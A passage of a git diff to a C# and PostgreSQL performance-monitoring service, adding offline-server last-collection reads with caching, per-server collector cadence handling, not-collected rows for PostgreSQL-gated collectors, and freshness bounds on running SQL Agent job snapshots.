+        AND   server_id = s.server_id
+        AND   collection_time >= $1
+        AND   collection_time <= $2
+        AND   (database_name = ANY (s.ordered_names) OR (s.ordered_null_name AND database_name IS NULL))
+    ) AS sampled
+) AS d";
 
     /// <summary>The deadlock health band's two tiers from the singleton settings row (#3368, V120).
     ///
@@ -524,6 +576,28 @@ ORDER BY collection_time DESC
     LIMIT 1
 ) AS latest ON TRUE
 WHERE s.is_enabled
+AND   s.server_id <> 0";
+
+    /// <summary>W1b: the real last collection of the servers <see cref="FleetLastCollectionSql"/> found nothing for, so an
+    /// offline card shows how long it has been dark instead of "more than 2 days". $1 the server ids (those the window held
+    /// none for), $2 the window start. The shape of the Viewer's <c>ServerFreshnessSql</c> (a per-server LATERAL ...
+    /// ORDER BY collection_time DESC LIMIT 1, an index descent on (server_id, collection_time)), bounded ABOVE by the window
+    /// start because everything newer is already known to be empty, which also lets TimescaleDB leave the newest chunks out.</summary>
+    public const string FleetOlderCollectionSql = @"
+SELECT
+    s.server_id,
+    latest.collection_time
+FROM servers AS s
+CROSS JOIN LATERAL
+(
+    SELECT collection_time
+    FROM v_collection_log
+    WHERE server_id = s.server_id
+    AND   collection_time < $2
+    ORDER BY collection_time DESC
+    LIMIT 1
+) AS latest
+WHERE s.server_id = ANY($1)
 AND   s.server_id <> 0";
 
     /// <summary>How far back <see cref="FleetLastCollectionSql"/> looks for a server's newest collection: two
@@ -798,7 +872,7 @@ public static async Task<FleetOverviewResult> GetFleetOverviewAsync(
             await ScopeAzureMasterRowsAsync(
                 postgres, servers, blocking, deadlocks, windowStartUtc, windowEndUtc, separatelyMonitored, logger, cancellationToken);
         }
-        var lastCollection = await ReadLastCollectionAsync(postgres, now, cancellationToken);
+        var lastCollection = await ReadLastCollectionAsync(postgres, now, logger, cancellationToken);
         /* #3735: the ONE read in this fan-out that does not depend on the caller's window — the 7-day
            collection-health aggregate is the same statement whatever hours_back was — and therefore the one
            that is single-flighted and memoized. Every other read above and below stays a per-call read: each
@@ -848,7 +922,7 @@ server the read reported with an empty window reads Offline or never-collected b
 
             cards.Add(BuildCard(
                 server, c, pg, m, mp, t, b, deadlock, pgDeadlock, collected.LastCollection, collectors, serverTags, now,
-                windowEndUtc - windowStartUtc, deadlockTiers, collected.RegisteredAt));
+                windowEndUtc - windowStartUtc, deadlockTiers, collected.RegisteredAt, collected.OlderCollection));
         }
 
         return BuildRollup(cards, now, windowStartUtc, windowEndUtc, worstCount, tagForest, collectionHealthAgeSeconds);
@@ -893,7 +967,8 @@ internal static FleetServerCard BuildCard(
         DateTime now,
         TimeSpan deadlockWindow,
         DeadlockRateThresholds deadlockTiers,
-        DateTime? registeredAt = null)
+        DateTime? registeredAt = null,
+        DateTime? olderCollection = null)
     {
 
         /* Lite's XE-preferred / DMV-fallback, per server: XE when it has any row this window, else the DMV
@@ -1030,7 +1105,8 @@ deliberately not surfaced. */
             IsOnline = isOnline,
             AwaitingFirstCollection = awaitingFirstCollection,
             CollectionStale = collectionStale,
-            LastCollectionTime = lastCollection,
+            /* W1b: the windowed read's newest collection, else (offline past the window) the real last one, display only. */
+            LastCollectionTime = lastCollection ?? olderCollection,
             CpuPercent = cpuPercent,
             OtherProcessCpuPercent = otherCpu,
             TotalCpuPercent = totalCpu,
@@ -1701,23 +1777,98 @@ whose clamped deadlock differences overflow int is not a reading this card can r
     /// <summary>One <see cref="LastCollectionRow"/> per enabled registry server, INCLUDING the ones whose
     /// window holds nothing (#3935): their row is the read's positive report that it looked and found none,
     /// which is what <see cref="ClassifyWindowedFreshness"/> needs before it may call a server Offline.</summary>
-    private static async Task<Dictionary<int, LastCollectionRow>> ReadLastCollectionAsync(NpgsqlDataSource postgres, DateTime now, CancellationToken cancellationToken)
+    internal static async Task<Dictionary<int, LastCollectionRow>> ReadLastCollectionAsync(NpgsqlDataSource postgres, DateTime now, ILogger? logger, CancellationToken cancellationToken)
     {
         var map = new Dictionary<int, LastCollectionRow>();
-        await using var command = postgres.CreateCommand(FleetLastCollectionSql);
-        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
-        AddTimestamp(command, LastCollectionWindowStart(now));
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
+        /* The first read is closed (reader, command, and with them its pooled connection) before the older-collection read opens
+           its own, so one fleet call never holds two pooled connections while it waits for the second: concurrent polls that each
+           held one and waited for another could exhaust the pool and answer 503. */
         {
-            map[reader.GetInt32(0)] = new LastCollectionRow(
-                reader.IsDBNull(1) ? null : reader.GetDateTime(1),
-                reader.IsDBNull(2) ? null : reader.GetDateTime(2));
+            await using var command = postgres.CreateCommand(FleetLastCollectionSql);
+            command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+            AddTimestamp(command, LastCollectionWindowStart(now));
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                map[reader.GetInt32(0)] = new LastCollectionRow(
+                    reader.IsDBNull(1) ? null : reader.GetDateTime(1),
+                    reader.IsDBNull(2) ? null : reader.GetDateTime(2));
+            }
+        }
+
+        /* W1b: a server the window held nothing for gets its real last collection from one more, index-backed read, run
+           only when there is such a server. A failed read leaves the card as it was: the bound text, never a wrong age.
+           The answer is cached per server for OlderCollectionCacheMinutes: while a server stays dark its older collection
+           cannot change (the 48 h read takes over the moment rows return), so the read never runs on every poll. */
+        var cache = OlderCollectionCache.GetOrCreateValue(postgres);
+        foreach (var id in map.Where(kv => kv.Value.LastCollection is not null).Select(kv => kv.Key))
+        {
+            /* A server with rows is not dark: forget its entry, so a later dark spell reads fresh. */
+            cache.TryRemove(id, out _);
+        }
+
+        var dark = map.Where(kv => kv.Value.LastCollection is null).Select(kv => kv.Key).ToList();
+        var toRead = new List<int>();
+        foreach (var id in dark)
+        {
+            if (cache.TryGetValue(id, out var cached) && now - cached.ReadAt < OlderCollectionCacheTtl)
+            {
+                if (cached.Older is { } older) map[id] = map[id] with { OlderCollection = older };
+            }
+            else
+            {
+                toRead.Add(id);
+            }
+        }
+
+        if (toRead.Count > 0)
+        {
+            try
+            {
+                var found = new Dictionary<int, DateTime>();
+                await using (var older = postgres.CreateCommand(FleetOlderCollectionSql))
+                {
+                    older.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+                    older.Parameters.Add(new NpgsqlParameter<int[]> { TypedValue = toRead.ToArray() });
+                    AddTimestamp(older, LastCollectionWindowStart(now));
+                    await using var olderReader = await older.ExecuteReaderAsync(cancellationToken);
+                    while (await olderReader.ReadAsync(cancellationToken))
+                    {
+                        var id = olderReader.GetInt32(0);
+                        if (olderReader.IsDBNull(1) || !map.ContainsKey(id)) continue;
+                        found[id] = olderReader.GetDateTime(1);
+                    }
+                }
+
+                foreach (var id in toRead)
+                {
+                    DateTime? olderCollection = found.TryGetValue(id, out var value) ? value : null;
+                    cache[id] = new OlderCollectionEntry(now, olderCollection);
+                    if (olderCollection is { } at) map[id] = map[id] with { OlderCollection = at };
+                }
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException)
+            {
+                /* Display only: the card falls back to the bound sentence, and nothing is cached, so the next poll tries again. */
+                logger?.LogWarning(ex, "Fleet overview: the last collection of {Count} offline server(s) could not be read; their cards keep the two-day bound", toRead.Count);
+            }
         }
 
         return map;
     }
 
+    /// <summary>How long a dark server's older-collection answer is reused (W1b). The value cannot change while the server stays
+    /// dark; it is dropped as soon as the server shows rows again.</summary>
+    internal const int OlderCollectionCacheMinutes = 15;
+
+    private static readonly TimeSpan OlderCollectionCacheTtl = TimeSpan.FromMinutes(OlderCollectionCacheMinutes);
+
+    private sealed record OlderCollectionEntry(DateTime ReadAt, DateTime? Older);
+
+    /// <summary>Per store (the data source), then per server id: the cached older-collection answer. A table keyed on the data source
+    /// object keeps two stores that reuse a server id (tests, a rebind) from sharing an answer.</summary>
+    private static readonly System.Runtime.CompilerServices.ConditionalWeakTable<NpgsqlDataSource, System.Collections.Concurrent.ConcurrentDictionary<int, OlderCollectionEntry>> OlderCollectionCache = new();
+
     /// <summary>Reads the cross-server 7-day collector health and counts each server's HEALTHY / FAILING
     /// collectors through the shared <see cref="CollectorHealth.HealthStatus"/> banding, plus (#3819) the
     /// ones that stopped producing, off <see cref="CollectorHealth.RegressedFromProductive"/> rather than
@@ -1726,6 +1877,14 @@ private static async Task<Dictionary<int, CollectorCounts>> ReadFailingCollector
         NpgsqlDataSource postgres, DateTime now, CancellationToken cancellationToken)
     {
         var counts = new Dictionary<int, CollectorCounts>();
+        /* #4999: every collector is banded against the interval it is scheduled at on ITS server, the one the
+           per-server get_collection_health read judges it by, so the roll-up and that read cannot disagree about a
+           collector an operator moved off its shipped cadence. The schedule table is sparse and read once here, before
+           the health statement's reader opens, so one call never holds two connections; a server's rows are
+           picked out of it once, the first time that server appears. A read that fails leaves every row on its
+           shipped cadence, as the per-server read does. */
+        var scheduleOverrides = await DarlingDataReader.ReadScheduleOverridesAsync(postgres, null, cancellationToken);
+        var overridesByServer = new Dictionary<int, IReadOnlyList<ScheduleOverride>>();
         /* #3893 arm 2, #4477: the composed read (hourly aggregate + raw head slice + any hole hours read raw
            alongside it) when the guard passes, else the raw scan. Same fourteen ordinals either way, so
            everything below is shared. */
@@ -1748,7 +1907,13 @@ everything below is shared. */
         while (await reader.ReadAsync(cancellationToken))
         {
             var serverId = reader.GetInt32(0);
-            var health = MapFleetHealthRow(reader);
+            if (!overridesByServer.TryGetValue(serverId, out var serverOverrides))
+            {
+                serverOverrides = scheduleOverrides.Where(o => o.ServerId is null || o.ServerId == serverId).ToList();
+                overridesByServer[serverId] = serverOverrides;
+            }
+
+            var health = MapFleetHealthRow(reader, serverId, serverOverrides);
 
             counts.TryGetValue(serverId, out var existing);
             var status = health.HealthStatus;
@@ -1790,7 +1955,19 @@ nothing and reporting every server uncovered. Both engines' bands are kept on ev
     /// ordinals 0-13; <c>server_id</c> is read by the caller) to the <see cref="CollectorHealth"/> the shared
     /// banding reads. Its own method so a test can drive the banding through the same mapping the fleet read
     /// uses (#4812).</summary>
-    internal static CollectorHealth MapFleetHealthRow(System.Data.Common.DbDataReader reader)
+    internal static CollectorHealth MapFleetHealthRow(System.Data.Common.DbDataReader reader) =>
+        MapFleetHealthRow(reader, serverId: null, overrides: null);
+
+    /// <summary>
+    /// #4999: <see cref="MapFleetHealthRow(System.Data.Common.DbDataReader)"/> for a row whose server's schedule
+    /// overrides are known. The row is stamped with the interval its collector is scheduled at on that server
+    /// (<see cref="DarlingDataReader.ApplyScheduledFrequency"/>, the per-server read's own step) BEFORE the
+    /// trailing-run estimate is taken, because the estimate reads the cadence too. The band then judges an
+    /// overridden collector against the interval it runs at, as get_collection_health does for the same server.
+    /// With no <paramref name="serverId"/> or no <paramref name="overrides"/> the row keeps the shipped cadence.
+    /// </summary>
+    internal static CollectorHealth MapFleetHealthRow(
+        System.Data.Common.DbDataReader reader, int? serverId, IReadOnlyList<ScheduleOverride>? overrides)
     {
         var health = new CollectorHealth
         {
@@ -1818,6 +1995,12 @@ internal static CollectorHealth MapFleetHealthRow(System.Data.Common.DbDataReade
             LatestRunNote = reader.IsDBNull(13) ? null : reader.GetString(13),
         };
 
+        /* #4999: the cadence is stamped before anything below reads it. */
+        if (serverId is int scheduledServerId && overrides is not null)
+        {
+            DarlingDataReader.ApplyScheduledFrequency(health, scheduledServerId, overrides);
+        }
+
         /* #3885: the produced-then-stopped arm's input, set AFTER construction because it is derived
            from two of this row's own members plus the cadence rather than read from a column. The
            per-server twin reads an exact count off its ranked subquery; this one estimates, for the
@@ -1866,7 +2049,9 @@ internal readonly record struct PgCpuRow(
     /// <param name="LastCollection">The newest collection at or after <see cref="LastCollectionWindowStart"/>,
     /// or null when the window holds none.</param>
     /// <param name="RegisteredAt">The server's first successful connect, as the registry recorded it.</param>
-    internal readonly record struct LastCollectionRow(DateTime? LastCollection, DateTime? RegisteredAt);
+    /// <param name="OlderCollection">W1b: the newest collection BEFORE the window, read only for a server the window held
+    /// none for, so an offline card can show its real age. Never an input to the freshness rule.</param>
+    internal readonly record struct LastCollectionRow(DateTime? LastCollection, DateTime? RegisteredAt, DateTime? OlderCollection = null);
     /// <summary>The PostgreSQL deadlock reading (#3539): the summed counter differences, the sample that
     /// showed the newest step, and <paramref name="Intervals"/> — how many differences the sum was taken
     /// over. Its <c>default</c> is zero intervals, which <see cref="BuildCard"/> reads as unmeasured: a
@@ -2156,8 +2341,8 @@ public sealed class FleetServerCard
     [JsonPropertyName("is_azure_mi")] public bool IsAzureManagedInstance { get; init; }
 
     /// <summary>True when a whole-server alert silence (an enabled, unexpired mute rule scoped to this server
-    /// with no narrowing pattern) is active (#2031) — display-only, so a silenced server stops looking like a
-    /// healthy-quiet one. The web seat has no silence action; silencing stays with the Viewer/MCP.</summary>
+    /// with no narrowing pattern) is active (#2031) — so a silenced server stops looking like a
+    /// healthy-quiet one. The fleet page's Silence / Unsilence button writes the rule.</summary>
     [JsonPropertyName("is_silenced")] public bool IsSilenced { get; init; }
 
     /// <summary>The server's tags for the read-only fleet pills (#2020) — id, name, and stored <c>#RRGGBB</c>
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingGatedCollectorRows.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingGatedCollectorRows.cs
new file mode 100644
index 0000000000..cab36461a7
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingGatedCollectorRows.cs
@@ -0,0 +1,164 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+/// <summary>
+/// #5249: the collectors a PostgreSQL server's engine does not collect, as rows for <c>get_collection_health</c>.
+///
+/// <para><b>Why they need a source other than the log.</b> Health rows come from <c>collection_log</c>, and a
+/// collector that the dispatch gate never sends at a server writes no log row at all. On a PostgreSQL server
+/// several collectors are in that state because this engine KIND can never run them (the wait-statistics
+/// reader on stock PostgreSQL, the sampler on Aurora). Gates that depend on the server's major version or on
+/// recovery state are not listed: the kind gate is the only one asked here. The Collectors panel simply lacked
+/// these, and an operator could not tell a collector that
+/// failed to run from one that cannot run on this engine. The catalog and
+/// <see cref="CollectorEngineCapability"/> already know which is which; this lists them.</para>
+///
+/// <para><b>Output only.</b> The rows are appended to the tool's response and nowhere else: they are not in the
+/// memoized health rows, so they feed no sweep-pressure arithmetic, no failing or regressed count, no fleet
+/// roll-up and no caveat. They carry three keys in every response shape (full, compact and partial alike):
+/// <c>collector</c>, <c>status</c> and <c>message</c>. They carry no counts or times, because a collector that
+/// never runs has none.</para>
+///
+/// <para>SQL Server servers get no extra rows.</para>
+/// </summary>
+internal static class DarlingGatedCollectorRows
+{
+    /// <summary>The status word on a gated row: the same word the <c>not_collected</c> envelope uses.</summary>
+    internal const string NotCollectedStatus = "not_collected";
+
+    /// <summary>The two Always On collectors. On a SQL Server without Always On they run and log HEALTHY with zero rows.</summary>
+    private static readonly string[] AlwaysOnCollectors = { "ag_database_replica_states", "ag_replica_states" };
+
+    /// <summary>The sentence on a not-applicable Always On row.</summary>
+    internal const string AlwaysOnOffMessage = "Always On availability groups are not enabled on this server, so there is nothing for this collector to read.";
+
+    internal static bool IsAlwaysOnCollector(string collectorName) =>
+        Array.IndexOf(AlwaysOnCollectors, collectorName) >= 0;
+
+    /// <summary>
+    /// True for a logged row that a server without Always On shows as "not applicable" (round-1 L5): an Always On
+    /// collector whose own band is HEALTHY, the ordinary run-and-find-nothing case. An Always On collector that is
+    /// FAILING (any other band) is a real problem on a HADR-off server too, and keeps its logged row, Last Error
+    /// and all, instead of vanishing behind the not-applicable sentence.
+    /// </summary>
+    internal static bool IsNotApplicableWhenAlwaysOnOff(CollectorHealth row) =>
+        IsAlwaysOnCollector(row.CollectorName) && string.Equals(row.HealthStatus, "HEALTHY", StringComparison.Ordinal);
+
+    /// <summary>
+    /// The logged rows a server without Always On still lists: everything except the HEALTHY Always On collectors
+    /// (<see cref="IsNotApplicableWhenAlwaysOnOff"/>), which <see cref="AlwaysOnOffRows"/> replaces.
+    /// </summary>
+    internal static List<CollectorHealth> RowsShownWhenAlwaysOnOff(IEnumerable<CollectorHealth> loggedRows) =>
+        loggedRows.Where(r => !IsNotApplicableWhenAlwaysOnOff(r)).ToList();
+
+    /// <summary>
+    /// True when the server's latest <c>server_properties</c> snapshot says Always On (HADR) is off. No snapshot, or a
+    /// failed read, is false: with no evidence the log-driven rows stand as they are.
+    /// </summary>
+    internal static async Task<bool> AlwaysOnOffAsync(NpgsqlDataSource postgres, int serverId, CancellationToken cancellationToken)
+    {
+        try
+        {
+            var properties = await DarlingDataReader.GetLatestServerPropertiesAsync(postgres, serverId, cancellationToken);
+            return properties is { IsHadrEnabled: false };
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return false;
+        }
+    }
+
+    /// <summary>
+    /// One <c>not_collected</c> row per HEALTHY Always On collector that <paramref name="loggedRows"/> lists, in collector-name order,
+    /// with the same three keys as the engine-gated rows.
+    /// </summary>
+    internal static IReadOnlyList<object> AlwaysOnOffRows(IEnumerable<CollectorHealth> loggedRows) =>
+        loggedRows
+            .Where(IsNotApplicableWhenAlwaysOnOff)
+            .Select(r => r.CollectorName)
+            .Distinct(StringComparer.Ordinal)
+            .OrderBy(n => n, StringComparer.Ordinal)
+            .Select(n => (object)new { collector = n, status = NotCollectedStatus, message = AlwaysOnOffMessage })
+            .ToList();
+
+    /// <summary>
+    /// The rows for <paramref name="serverName"/>, or none when the server is not PostgreSQL, the engine read
+    /// fails, or nothing is gated. Reads the server's engine edition and kind from the registry, then asks
+    /// <see cref="CollectorEngineCapability.NotCollectedMessage"/> about every PostgreSQL collector.
+    /// A failed registry read answers no rows: the log-driven rows this is appended to are already a good answer.
+    /// </summary>
+    internal static async Task<IReadOnlyList<object>> AppendAsync(
+        NpgsqlDataSource postgres,
+        int serverId,
+        string serverName,
+        IEnumerable<CollectorHealth> loggedRows,
+        CancellationToken cancellationToken)
+    {
+        int engineEdition;
+        string? engineKind;
+        try
+        {
+            (engineEdition, engineKind) = await DarlingEngineCapability.ReadServerEngineAsync(postgres, serverId, cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return Array.Empty<object>();
+        }
+
+        return Rows(
+            CollectorCatalog.All,
+            engineKind,
+            loggedRows.Select(r => r.CollectorName).ToHashSet(StringComparer.Ordinal),
+            name => CollectorEngineCapability.NotCollectedMessage(serverName, engineEdition, engineKind, name));
+    }
+
+    /// <summary>
+    /// The pure half: one row per PostgreSQL <paramref name="catalog"/> collector that <paramref name="messageFor"/>
+    /// says is not collected (non-null message) and that has no row in <paramref name="logged"/>, ordered by
+    /// collector name (ordinal). Empty unless <paramref name="engineKind"/> is a PostgreSQL kind.
+    /// </summary>
+    internal static IReadOnlyList<object> Rows(
+        IEnumerable<ICollectorSchemaInfo> catalog,
+        string? engineKind,
+        ISet<string> logged,
+        Func<string, string?> messageFor)
+    {
+        if (!MonitoredEngineKind.IsPostgres(engineKind))
+        {
+            return Array.Empty<object>();
+        }
+
+        var rows = new List<(string Name, string Message)>();
+        foreach (var definition in catalog)
+        {
+            if (definition.TargetEngine != CollectorTargetEngine.PostgreSql || logged.Contains(definition.Name))
+            {
+                continue;
+            }
+
+            var message = messageFor(definition.Name);
+            if (message is not null)
+            {
+                rows.Add((definition.Name, message));
+            }
+        }
+
+        rows.Sort((a, b) => string.CompareOrdinal(a.Name, b.Name));
+        return rows.Select(r => (object)new { collector = r.Name, status = NotCollectedStatus, message = r.Message }).ToList();
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingJobReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingJobReader.cs
index 621640bd19..15acceea5c 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingJobReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingJobReader.cs
@@ -13,6 +13,7 @@
 using System.Threading.Tasks;
 using Npgsql;
 using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Service.Mcp;
 
@@ -61,6 +62,18 @@ public sealed record RunningJobRow(
     /// latest does not depend on the clock, and the ordering stays on the collector-computed duration rather
     /// than on either clock. $1 server_id.
     ///
+    /// <para>The snapshot counts only while it is the collector's CURRENT answer: the collector writes no row when no
+    /// job is running, so the newest row can be weeks old. The latest SUCCESSFUL <c>running_jobs</c> run in
+    /// <c>collection_log</c> (a SUCCESS with zero rows for a run that found nothing) decides: rows stored means the
+    /// newest snapshot is that run's; none stored means nothing is running, unless a snapshot newer than that log row
+    /// exists (the log row is stamped when the run ends, after its rows are stored). A server with no such log row keeps
+    /// the newest snapshot. The same text as the viewer's <c>ViewerDataService.RunningJobsSql</c>.</para>
+    ///
+    /// <para>The snapshot must also be recent: <c>collection_time &gt;= $2</c> is the alert read's #1812 bound
+    /// (<see cref="PerformanceMonitor.Alerting.RunningJobsCurrency.Cutoff"/>, three missed cycles at the effective running_jobs cadence).
+    /// A server that went offline while a job ran (only failed runs after it), a lost msdb login or a collector switched off
+    /// otherwise left the job reading as running for days. $2 is the oldest collection time still current (naive UTC).</para>
+    ///
     /// <para>The conversion follows the server's time zone, so a job that started before a daylight saving
     /// change lands at its real UTC time rather than an hour off (#4793). Before that it subtracted the ONE
     /// newest collected offset, which was right only for a job that started after the last change.</para>
@@ -85,24 +98,102 @@ SELECT MAX(collection_time)
             FROM v_running_jobs
             WHERE server_id = $1
         )
+        AND   collection_time >= $2
+        AND   (
+            NOT EXISTS
+            (
+                SELECT 1
+                FROM collection_log
+                WHERE server_id = $1
+                AND   collector_name = 'running_jobs'
+                AND   status = 'SUCCESS'
+            )
+            OR EXISTS
+            (
+                SELECT 1
+                FROM
+                (
+                    SELECT collection_time, rows_collected
+                    FROM collection_log
+                    WHERE server_id = $1
+                    AND   collector_name = 'running_jobs'
+                    AND   status = 'SUCCESS'
+                    ORDER BY collection_time DESC
+                    LIMIT 1
+                ) AS last_run
+                WHERE last_run.rows_collected IS NULL
+                OR    last_run.rows_collected > 0
+                OR    v_running_jobs.collection_time > last_run.collection_time
+            )
+        )
         ORDER BY current_duration_seconds DESC
         """;
 
+    /// <summary>The newest collection time for the running_jobs collector: its latest SUCCESS run (a run that found nothing logs
+    /// SUCCESS with zero rows) or its newest snapshot, whichever is later. The same text as the viewer's
+    /// <c>ViewerDataService.RunningJobsLastGoodCollectionSql</c>. $1 server_id.</summary>
+    public const string RunningJobsLastGoodCollectionSql = """
+        SELECT MAX(t)
+        FROM
+        (
+            SELECT MAX(collection_time) AS t
+            FROM collection_log
+            WHERE server_id = $1
+            AND   collector_name = 'running_jobs'
+            AND   status = 'SUCCESS'
+            UNION ALL
+            SELECT MAX(collection_time)
+            FROM v_running_jobs
+            WHERE server_id = $1
+        ) AS x
+        """;
+
+    /// <summary>The running jobs, and the last good collection's time when no job is listed because it is older than the freshness bound.</summary>
+    public sealed record RunningJobsRead(List<RunningJobRow> Jobs, DateTime? LastGoodCollection);
+
     public static async Task<List<RunningJobRow>> GetRunningJobsAsync(
         NpgsqlDataSource postgres, int serverId, CancellationToken cancellationToken = default)
+        => (await ReadRunningJobsAsync(postgres, serverId, cancellationToken)).Jobs;
+
+    /// <summary>
+    /// The running jobs while the snapshot is current: the alert read's #1812 bound at this server's effective running_jobs cadence
+    /// (the per-server override, else the fleet one, else the shipped default). When nothing is listed and the collector's last good
+    /// collection is older than that bound, <see cref="RunningJobsRead.LastGoodCollection"/> carries its time.
+    /// </summary>
+    public static async Task<RunningJobsRead> ReadRunningJobsAsync(
+        NpgsqlDataSource postgres, int serverId, CancellationToken cancellationToken = default)
     {
-        var rows = new List<RunningJobRow>();
+        var overrides = await DarlingDataReader.ReadScheduleOverridesAsync(postgres, serverId, cancellationToken);
+        var cadence = PerformanceMonitor.Collectors.CollectorScheduleDefaults.ResolveEffectiveIntervalMinutes("running_jobs", serverId, overrides) ?? 5;
+        var cutoff = PerformanceMonitor.Alerting.RunningJobsCurrency.Cutoff(DateTime.UtcNow, cadence);
         var clock = await DarlingServerClockReader.ReadAsync(postgres, serverId, cancellationToken);
-        await using var command = postgres.CreateCommand(RunningJobsSql);
-        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
-        DarlingMcpReadParameters.AddInt(command, serverId);
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
+
+        var rows = new List<RunningJobRow>();
+        await using (var command = postgres.CreateCommand(RunningJobsSql))
+        {
+            command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+            DarlingMcpReadParameters.AddInt(command, serverId);
+            DarlingMcpReadParameters.AddTimestamp(command, cutoff);
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                rows.Add(MapRunningJobRow(reader, clock));
+            }
+        }
+
+        if (rows.Count > 0)
         {
-            rows.Add(MapRunningJobRow(reader, clock));
+            return new RunningJobsRead(rows, null);
         }
 
-        return rows;
+        /* Nothing listed: it reads as "not current" only when the last good collection is older than the bound (a healthy collector
+           that found no job logs a recent SUCCESS). The rows read above released its connection first. */
+        await using var lastGood = postgres.CreateCommand(RunningJobsLastGoodCollectionSql);
+        lastGood.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        DarlingMcpReadParameters.AddInt(lastGood, serverId);
+        var last = await lastGood.ExecuteScalarAsync(cancellationToken);
+        DateTime? lastGoodTime = last is DateTime t ? DateTime.SpecifyKind(t, DateTimeKind.Utc) : null;
+        return new RunningJobsRead(rows, PerformanceMonitor.Alerting.RunningJobsCurrency.NotCurrentSince(lastGoodTime, cutoff));
     }
 
     /// <summary>Maps one row of <see cref="RunningJobsSql"/> (11 columns, in the SELECT's order).</summary>
@@ -120,6 +211,139 @@ internal static RunningJobRow MapRunningJobRow(DbDataReader reader, ServerClock
             !reader.IsDBNull(9) && reader.GetBoolean(9),
             reader.IsDBNull(10) ? null : reader.GetDecimal(10));
 
+    /// <summary>
+    /// The newest <c>agent_status</c> row AT OR BEFORE the anchor ($2, naive UTC) of every enabled server that has one, or
+    /// of the one server asked for ($1; NULL for every server). A per-server <c>LATERAL</c> reads one row off the
+    /// (server_id, collection_time) index, so the cost is one index probe per server rather than a walk of the table's
+    /// retained history. A server with no row at or before the anchor (a PostgreSQL target, or an Agent collector that had
+    /// not run by then) is simply absent. <c>next_scheduled_run</c> is the server's own wall clock;
+    /// <see cref="ReadLatestAgentStatesAsync"/> converts it to UTC.
+    /// </summary>
+    public const string LatestAgentStatusSql = """
+        SELECT
+            s.server_id,
+            COALESCE(s.display_name, s.server_name),
+            a.agent_running,
+            a.agent_status_desc,
+            a.next_scheduled_run,
+            a.collection_time
+        FROM servers AS s
+        CROSS JOIN LATERAL
+        (
+            SELECT x.agent_running, x.agent_status_desc, x.next_scheduled_run, x.collection_time
+            FROM agent_status AS x
+            WHERE x.server_id = s.server_id
+            AND   x.collection_time <= $2
+            ORDER BY x.collection_time DESC
+            LIMIT 1
+        ) AS a
+        WHERE s.is_enabled
+        AND   ($1::int IS NULL OR s.server_id = $1)
+        ORDER BY COALESCE(s.display_name, s.server_name), s.server_id
+        """;
+
+    /// <summary>The description served for an Agent whose newest snapshot is older than the staleness window.</summary>
+    public const string AgentUnknownDescription = "unknown (no recent status)";
+
+    /// <summary>The description served for a server whose newest snapshot found no SQL Agent service at all (the
+    /// collector stores <c>agent_running = false</c> with NULL descriptions then: Express, an Agent-off container). That
+    /// is not a stopped Agent, and the page draws it as a neutral line, so the page quotes this text.</summary>
+    public const string NoAgentServiceDescription = "no SQL Agent service found";
+
+    /// <summary>The live staleness window of the Agent Not Running self-alert: the <c>collection_stale_minutes</c> setting
+    /// the alert engine reads (<c>update_alert_settings</c> / <c>get_alert_settings</c> report the same column), so the
+    /// page and the alert judge a snapshot's age by one number.</summary>
+    public const string CollectionStaleMinutesSql = "SELECT collection_stale_minutes FROM config_alert_settings WHERE id = 1";
+
+    /// <summary>The setting's bounds, as <c>DarlingAlertSettings.CollectionStaleMinutes</c> clamps it.</summary>
+    internal const int StaleMinutesMin = 5;
+    internal const int StaleMinutesMax = 1440;
+
+    /// <summary>The window for a stored setting: the clamp the engine applies, or the shipped default when the store holds none.</summary>
+    internal static TimeSpan StaleWindowFor(int? storedMinutes)
+    {
+        if (storedMinutes is null) return DarlingSelfAlertEvaluator.StaleWindow;
+        return TimeSpan.FromMinutes(Math.Clamp(storedMinutes.Value, StaleMinutesMin, StaleMinutesMax));
+    }
+
+    /// <summary>The window the Agent Not Running alert judges a snapshot against right now. A store that has not seeded the
+    /// settings row (or predates the column) answers with the shipped default, which is what the engine runs on then too.</summary>
+    public static async Task<TimeSpan> ReadStaleWindowAsync(NpgsqlDataSource postgres, CancellationToken cancellationToken = default)
+    {
+        try
+        {
+            await using var command = postgres.CreateCommand(CollectionStaleMinutesSql);
+            command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+            var value = await command.ExecuteScalarAsync(cancellationToken);
+            return StaleWindowFor(value is null or DBNull ? null : Convert.ToInt32(value, System.Globalization.CultureInfo.InvariantCulture));
+        }
+        catch (PostgresException ex) when (ex.SqlState is PostgresErrorCodes.UndefinedColumn or PostgresErrorCodes.UndefinedTable)
+        {
